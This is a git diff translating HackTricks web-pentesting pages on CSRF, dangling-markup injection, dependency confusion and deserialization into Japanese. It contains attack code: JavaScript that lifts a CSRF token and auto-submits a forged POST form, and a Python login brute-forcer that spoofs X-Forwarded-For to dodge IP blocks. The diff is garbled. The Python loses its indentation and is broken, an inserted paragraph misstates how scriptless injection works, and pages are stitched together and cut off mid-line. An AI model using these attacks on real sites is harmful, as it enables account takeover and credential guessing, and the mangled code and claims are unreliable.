``` +### **Ajaxを使用してCSRFトークンを盗み、フォームでPOSTリクエストを送信する** -### **POSTSteal CSRF token with Ajax and send a post with a form** +In this technique, we will use Ajax to steal the CSRF token from the target website and then use it to send a POST request using a form. +このテクニックでは、Ajaxを使用してターゲットのウェブサイトからCSRFトークンを盗み、それを使用してフォームを使ってPOSTリクエストを送信します。 + +First, we need to retrieve the CSRF token from the target website. We can do this by making an Ajax request to a page that contains the CSRF token. + +まず、ターゲットのウェブサイトからCSRFトークンを取得する必要があります。これは、CSRFトークンを含むページに対してAjaxリクエストを行うことで行うことができます。 + +```javascript +var xhr = new XMLHttpRequest(); +xhr.open('GET', '/path/to/csrf/page', true); +xhr.onreadystatechange = function() { + if (xhr.readyState === 4 && xhr.status === 200) { + var response = xhr.responseText; + var csrfToken = extractCsrfToken(response); + sendPostRequest(csrfToken); + } +}; +xhr.send(); +``` + +Next, we extract the CSRF token from the response of the Ajax request. The `extractCsrfToken` function is a placeholder for your own implementation. + +次に、AjaxリクエストのレスポンスからCSRFトークンを抽出します。`extractCsrfToken`関数は、独自の実装に置き換える必要があります。 + +Finally, we use the stolen CSRF token to send a POST request using a form. We create a hidden input field in the form with the name `csrf_token` and set its value to the stolen CSRF token. Then, we submit the form programmatically. + +最後に、盗んだCSRFトークンを使用してフォームを使ってPOSTリクエストを送信します。フォーム内に`csrf_token`という名前の非表示の入力フィールドを作成し、その値を盗んだCSRFトークンに設定します。その後、フォームをプログラムで送信します。 + +```javascript +function sendPostRequest(csrfToken) { + var form = document.createElement('form'); + form.method = 'POST'; + form.action = '/path/to/post/endpoint'; + + var csrfInput = document.createElement('input'); + csrfInput.type = 'hidden'; + csrfInput.name = 'csrf_token'; + csrfInput.value = csrfToken; + + form.appendChild(csrfInput); + document.body.appendChild(form); + + form.submit(); +} +``` + +By using this technique, we can steal the CSRF token from the target website and use it to perform unauthorized actions on behalf of the user. + +このテクニックを使用することで、ターゲットのウェブサイトからCSRFトークンを盗み、ユーザーの代わりに不正なアクションを実行することができます。 ```markup
- - - - + + + +
``` +### Socket.IOを使用したCSRF -### CSRF with Socket.IO +Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用してリアルタイムな通信を行うWebアプリケーションは、CSRF(Cross-Site Request Forgery)攻撃の潜在的な脆弱性にさらされる可能性があります。 +CSRF攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信することで、被害者のアカウントやデータを乗っ取る攻撃手法です。Socket.IOを使用する場合、CSRF攻撃は以下のように実行される可能性があります。 + +1. 攻撃者は、Socket.IOを介してリアルタイムな通信を行うWebアプリケーションにアクセスします。 +2. 攻撃者は、被害者になりすましてSocket.IOのセッションを確立します。 +3. 攻撃者は、Socket.IOを介して意図しないリクエストを送信し、被害者のアカウントやデータを操作します。 + +このようなCSRF攻撃を防ぐためには、以下の対策を実施することが重要です。 + +1. セッションIDを使用してSocket.IOのセッションを認証する。 +2. クロスサイトリクエストフォージェリトークン(CSRFトークン)を使用して、リクエストの正当性を検証する。 + +セッションIDを使用してSocket.IOのセッションを認証することで、攻撃者がセッションを乗っ取ることを防ぐことができます。また、CSRFトークンを使用することで、リクエストの送信元が信頼できるものであるかを検証することができます。 + +以上の対策を実施することで、Socket.IOを使用したWebアプリケーションのセキュリティを向上させることができます。 ```markup ``` +## CSRFログインブルートフォース -## CSRF Login Brute Force - -The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting): - +このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用できます(また、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています)。 ```python import request import re @@ -545,44 +738,43 @@ USER = "fergus" PASS_LIST="./words" def init_session(): - #Return CSRF + Session (cookie) - r = requests.get(URL) - csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) - csrf = csrf.group(1) - session_cookie = r.cookies.get(SESSION_COOKIE_NAME) - return csrf, session_cookie +#Return CSRF + Session (cookie) +r = requests.get(URL) +csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) +csrf = csrf.group(1) +session_cookie = r.cookies.get(SESSION_COOKIE_NAME) +return csrf, session_cookie def login(user, password): - print(f"{user}:{password}") - csrf, cookie = init_session() - cookies = {SESSION_COOKIE_NAME: cookie} - data = { - "tokenCSRF": csrf, - "username": user, - "password": password, - "save": "" - } - headers = { - "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" - } - r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) - if "Username or password incorrect" in r.text: - return False - else: - print(f"FOUND {user} : {password}") - return True +print(f"{user}:{password}") +csrf, cookie = init_session() +cookies = {SESSION_COOKIE_NAME: cookie} +data = { +"tokenCSRF": csrf, +"username": user, +"password": password, +"save": "" +} +headers = { +"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" +} +r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) +if "Username or password incorrect" in r.text: +return False +else: +print(f"FOUND {user} : {password}") +return True with open(PASS_LIST, "r") as f: - for line in f: - login(USER, line.strip()) +for line in f: +login(USER, line.strip()) ``` - -## Tools +## ツール * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) * [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) -## References +## 参考文献 * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) @@ -591,22 +783,22 @@ with open(PASS_LIST, "r") as f:
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **ウェブ3のバグについてもっと学ぶために** -🐞 Read web3 bug tutorials +🐞 ウェブ3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family) +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **を利用してください。**
diff --git a/pentesting-web/dangling-markup-html-scriptless-injection.md b/pentesting-web/dangling-markup-html-scriptless-injection.md index 313d602cc..3cfca6653 100644 --- a/pentesting-web/dangling-markup-html-scriptless-injection.md +++ b/pentesting-web/dangling-markup-html-scriptless-injection.md @@ -1,110 +1,109 @@ -# Dangling Markup - HTML scriptless injection +# ダングリングマークアップ - HTMLスクリプトレスインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Resume +## 概要 -This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](xss-cross-site-scripting/)but you can **inject some HTML tags**.\ -It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution. +このテクニックは、**HTMLインジェクションが見つかった場合にユーザーから情報を抽出する**ために使用できます。これは、[**XSS** ](xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に便利ですが、いくつかのHTMLタグを**インジェクトすることができる**場合です。\ +また、HTML内に**平文で保存された秘密**がある場合に、クライアントからそれを**外部に持ち出す**ためにも役立ちます。また、スクリプトの実行を誤認させるためにも使用できます。 -Several techniques commented here can be used to bypass some [**Content Security Policy**](content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...). +ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に持ち出すことによって、いくつかの[**コンテンツセキュリティポリシー**](content-security-policy-csp-bypass/)をバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。 -## Main Applications +## 主な応用 -### Stealing clear text secrets +### 平文の秘密の盗み出し -If you inject `test ``` +### フォームの盗み出し -### Stealing forms +When conducting a web application penetration test, it is important to identify and exploit any vulnerabilities that may exist in the application's forms. One such vulnerability is known as "dangling markup" or "HTML scriptless injection." +Web forms are commonly used to collect user input, such as login credentials or personal information. In some cases, the form data is not properly sanitized or validated on the server side, allowing an attacker to inject malicious code into the form fields. + +HTML scriptless injection is a technique that takes advantage of this vulnerability by injecting HTML tags into the form fields. These tags are designed to execute JavaScript code when the form is submitted, allowing the attacker to steal sensitive information or perform other malicious actions. + +To exploit this vulnerability, the attacker needs to identify a form that is vulnerable to HTML scriptless injection. This can be done by manually inspecting the HTML source code of the web application or by using automated scanning tools. + +Once a vulnerable form is identified, the attacker can inject HTML tags into the form fields. For example, the attacker may inject a ` ``` +### 誤解を招くスクリプトのワークフロー1 - HTMLネームスペース攻撃 -### Misleading script workflow 1 - HTML namespace attack +次のタグを上書きし、スクリプトのフローに影響を与える値を持つ、HTML内に新しいタグを挿入します。この例では、情報を共有する相手を選択します。 -Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared: +```html + + + +
+``` + +この攻撃では、`data-share-with`属性の値を変更することで、スクリプトのフローを操作することができます。 ```markup ← Injected markup ... @@ -157,16 +162,14 @@ Share this status update with: ← Legitimate optio ... function submit_status_update() { - ... - request.share_with = document.getElementById('share_with').value; - ... +... +request.share_with = document.getElementById('share_with').value; +... } ``` +### 誤解を招くスクリプトのワークフロー2 - スクリプト名前空間攻撃 -### Misleading script workflow 2 - Script namespace attack - -Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application: - +HTMLタグを挿入してJavaScriptの名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。 ```markup ← Injected markup @@ -175,109 +178,98 @@ Create variables inside javascript namespace by inserting HTML tags. Then, this // Legitimate application code follows function retrieve_acls() { - ... - if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE - is_public = true; - else - is_public = false; +... +if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE +is_public = true; +else +is_public = false; } function submit_new_acls() { - ... - if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true - ... +... +if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true +... } ``` +### JSONPの乱用 -### Abuse of JSONP - -If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data: - +JSONPインターフェースを見つけた場合、任意の関数と任意のデータを呼び出すことができる可能性があります。 ```markup ``` +### Iframeの悪用 -### Iframe abuse - -Notice that a **child document can view and set location property for parent, even if cross-origin.** This means that you can make the client access any other page by loading inside an **iframe** some code like: - +注意してください、**子ドキュメントは親のlocationプロパティを表示および設定することができます。** これは、クライアントが他のページにアクセスすることができることを意味します。以下のようなコードを**iframe**内に読み込むことで、クライアントが他のページにアクセスできます。 ```markup ``` +これは次のように緩和できます: _**sandbox='allow-scripts allow-top-navigation'**_ -This can be mitigated with something like: _**sandbox=’ allow-scripts allow-top-navigation’**_ - -An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it. - +また、iframeを使って異なるページから**iframeのname属性を利用して**機密情報を漏洩させることもできます。これは、HTMLインジェクションを悪用して自身をiframe化するiframeを作成することができるため、**機密情報がiframeのname属性内に表示され、それを初期のiframeからアクセスして漏洩させることができる**からです。 ```html ``` +詳細については、[https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)を参照してください。 -For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) +### \`またはリダイレクトを実行できます(この場合は5秒後に):`` -You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `` or performing a redirect (in 5s in this case): `` +これは、**http-equiv**に関する**CSP**で回避することができます( `Content-Security-Policy: default-src 'self';`または `Content-Security-Policy: http-equiv 'self';`) -This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`) - -### New \☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/dependency-confusion.md b/pentesting-web/dependency-confusion.md index a1e602a5c..b32e6ed90 100644 --- a/pentesting-web/dependency-confusion.md +++ b/pentesting-web/dependency-confusion.md @@ -1,52 +1,52 @@ -# Dependency Confusion +# 依存関係の混乱
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -In summary, a dependency confusion vulnerability occurs when a project is using a library with a **misspelled** name, **inexistent** or with an **unspecified version** and the used dependency repository allows to **gather updated versions from public** repositories. +要約すると、依存関係の混乱の脆弱性は、プロジェクトが**スペルミス**のあるライブラリ、**存在しない**ライブラリ、または**バージョンが指定されていない**ライブラリを使用し、使用されている依存関係リポジトリが**公開リポジトリから更新されたバージョンを収集**できる場合に発生します。 -* **Misspelled**: Import **`reqests`** instead of `requests` -* **Inexistent**: Import `company-logging`, an internal library which **no longer exists** -* **Unspecified version**: Import an **internal** **existent** `company-requests` library , but the repo check **public repos** to see if there are **greater versions**. +* **スペルミス**: `requests`の代わりに**`reqests`**をインポートする +* **存在しない**: 存在しない内部ライブラリである`company-logging`をインポートする +* **バージョンが指定されていない**: 内部の**存在する**`company-requests`ライブラリをインポートするが、リポジトリは**公開リポジトリ**をチェックして**より新しいバージョン**があるかどうかを確認する -## Exploitation +## 攻撃手法 {% hint style="warning" %} -In all cases the attacker just need to publish a **malicious package with name** of libraries used by the victim company. +いずれの場合でも、攻撃者は犠牲者の会社が使用しているライブラリの**名前を持つ悪意のあるパッケージを公開するだけ**で済みます。 {% endhint %} -### Misspelled & Inexistent +### スペルミス & 存在しない -If your company is trying to **import a library that isn't internal**, highly probably the repo of libraries is going to be searching for it in **public repositories**. If an attacker has created it, your code and machines running is highly probably going to be compromised. +もし会社が**内部ではないライブラリをインポート**しようとしている場合、おそらくライブラリのリポジトリはそれを**公開リポジトリ**で検索しようとします。攻撃者がそれを作成している場合、あなたのコードと実行中のマシンは高い確率で侵害されるでしょう。 -### Unspecified Version +### バージョンが指定されていない -It's very common for developers to **not specify any version** of the library used, or specify just a **mayor version**. Then, the interpreter will try to download the **latest version** fitting those requirements.\ -If the library is a **known external library** (like python `requests`), an **attacker cannot do much**, as he won't be able to create a library called `requests` (unless he is the original author).\ -However, if the library is **internal**, like `requests-company` in this example, if the **library repo** allows to **check for new versions also externally**, it will search for a newer version publicly available.\ -So if an **attacker knows** that the company is using the `requests-company` library **version 1.0.1** (allow minor updates). He can **publish** the library `requests-company` **version 1.0.2** and the company will **use that library instead** of the internal one. +開発者がライブラリのバージョンを**指定しない**か、**メジャーバージョン**のみを指定することは非常に一般的です。その後、インタプリタはこれらの要件に合う**最新バージョン**をダウンロードしようとします。\ +ライブラリが**既知の外部ライブラリ**(例:Pythonの`requests`)である場合、**攻撃者はあまりできません**。なぜなら、`requests`というライブラリを作成することはできないからです(元の作者でない限り)。\ +ただし、この例のようにライブラリが**内部の**`requests-company`のような場合、**ライブラリリポジトリ**が**外部から新しいバージョンをチェックすることができる**場合、公開で利用可能な新しいバージョンを検索します。\ +したがって、**攻撃者が**会社が`requests-company`ライブラリ**バージョン1.0.1**(マイナーアップデートを許可)を使用していることを**知っている**場合、彼はライブラリ`requests-company`**バージョン1.0.2**を**公開**することができ、会社は内部のライブラリの代わりにそれを**使用**するでしょう。 -## AWS Fix +## AWSの修正 -This vulnerability was found in AWS **CodeArtifact** (read the [**details in this blog post**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\ -AWS fixed this by allowing to specify if a library is internal or external, to avoid downloading internal dependencied from external repositories. +この脆弱性はAWSの**CodeArtifact**で見つかりました([**このブログ記事の詳細**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)を読んでください)。\ +AWSは、内部の依存関係を外部のリポジトリからダウンロードしないようにするために、ライブラリが内部または外部であるかを指定できるように修正しました。 -## Finding Vulnerable Libraries +## 脆弱なライブラリの検出 -In the [**original post about dependency confusion**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) the author searched for thousands of exposed package.json files containing javascript project’s dependencies. +[**依存関係の混乱に関する元の投稿**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)では、脆弱なJavaScriptプロジェクトの依存関係を含む数千の公開されたpackage.jsonファイルを検索しました。 -## References +## 参考文献 * [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) * [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d) @@ -55,10 +55,7 @@ In the [**original post about dependency confusion**](https://medium.com/@alex.b ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - - +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグル diff --git a/pentesting-web/deserialization/README.md b/pentesting-web/deserialization/README.md index ed91561a7..5030782d4 100644 --- a/pentesting-web/deserialization/README.md +++ b/pentesting-web/deserialization/README.md @@ -1,63 +1,62 @@ -# Deserialization +# シリアライゼーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
